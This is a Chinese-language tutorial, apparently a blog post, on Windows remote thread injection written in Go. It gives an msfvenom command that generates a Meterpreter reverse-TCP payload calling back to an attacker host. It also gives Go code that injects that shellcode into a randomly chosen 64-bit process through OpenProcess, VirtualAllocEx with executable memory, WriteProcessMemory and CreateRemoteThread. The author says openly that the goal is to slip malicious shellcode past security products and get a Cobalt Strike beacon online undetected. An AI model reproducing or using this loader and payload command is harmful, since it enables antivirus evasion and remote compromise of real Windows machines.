简述
远程线程注入技术能实现在Windows系统下进程的隐藏。其主要核心在于一个Windows API函数CreateRemoteThread,通过它可以在另外一个进程中注入一个线程并执行。在提供便利的同时,正是因为如此,使得系统内部出现了安全隐患。常用的系统注入手段有两种:一种是远程DLL注入,另一种是远程代码注入。后者相对起来更加隐蔽,也更难被杀软检测。
实现思路
用CS生成RAW格式的Payload或者用MSF生成Hex Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o payload.hex LHOST=xx.xx.xx.xx LPORT=4444
var payload string = "<shellcode in here>"
利用DecodeString将十六进制字符转化成字节
关于golang的nil,简单说下。在go代码中,nil简直无处不在,其用的最多的场景是对err的判断。当err == nil时,说明未出现错误。当err != nil时,说明函数出现错误,需要处理,所以函数出错时,需要此处提示自己“Error decoding shellcode”。
接着利用Get64BitProcesses函数获取64位进程,再随机生成进程PID。
processInjectionNotes := inject.Get64BitProcesses()
RandomPID := inject.SelectRandomElement(processInjectionNotes)
然后就到了远程线程注入的核心:CreateRemoteThread 函数,这里简述一下
CreateRemoteThread 是一个 Windows API 函数,它能够创建一个在其它进程地址空间中运行的线程。CreateRemoteThread 函数有7个参数,如下:
CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId)
每个参数的作用如下:
hProcess:创建线程的进程的句柄,而且句柄必须具有PROCESS_CREATE_THREAD、PROCESS_QUERY_INFORMATION、PROCESS_VM_OPERATION、PROCESS_VM_WRITE和PROCESS_VM_READ访问权限,并且在某些平台上没有这些权限可能会失败。
lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,该结构为新线程指定安全描述符并确定子进程是否可以继承返回的句柄。如果lpThreadAttributes为 NULL,则线程获得一个默认的安全描述符并且句柄不能被继承。线程的默认安全描述符中的访问控制列表 (ACL) 来自创建者的主要令牌。
dwStackSize:堆栈的初始大小,以字节为单位。系统将此值舍入到最近的页面。如果此参数为 0(零),则新线程使用可执行文件的默认大小。
lpStartAddress:指向要由线程执行的LPTHREAD_START_ROUTINE 类型的应用程序定义函数的指针,表示远程进程中线程的起始地址。该函数必须存在于远程进程中。
lpParameter:指向要传递给线程函数的变量的指针。
dwCreationFlags:控制线程创建的标志。
lpThreadId:指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符。
实现代码如下:
func RunCreateRemoteThread(sc []byte, pid int) {
fmt.Printf("\n[+] Injecting into %d", pid)
processHandle, _ := inject.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uint32(pid))
memptr := inject.VirtualAllocEx(processHandle, uintptr(0), len(sc), 0x3000, 0x40)
inject.WriteProcessMemory(processHandle, memptr, sc)
inject.CreateRemoteThread(processHandle, 0, 0, memptr, 0, 0, 0)
inject.CloseHandle(processHandle)
}
(1) 利用Windows API OpenProcess函数打开现有的本地进程;
(2) 再利用VirtualAllocEx函数指定进程的虚拟地址空间内保留、提交或更改内存区域的状态;
(3) 将进程的虚拟地址中的内存区域状态写入到指定进程中的内存区域;
(4) 在上述指定的进程的虚拟地址空间中创建一个线程;
(5) 完成注入,关闭此对象句柄。
备注:其实很好理解,一句俗语形容的很好“一颗老鼠屎坏了一锅粥”,而这颗老鼠屎就是我们的恶意shellcode,我的目的是将其注入到这锅粥里面,这在一定程度上就绕过了安全设备的检测。
最后的CS上线免杀效果:
参考资料:
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle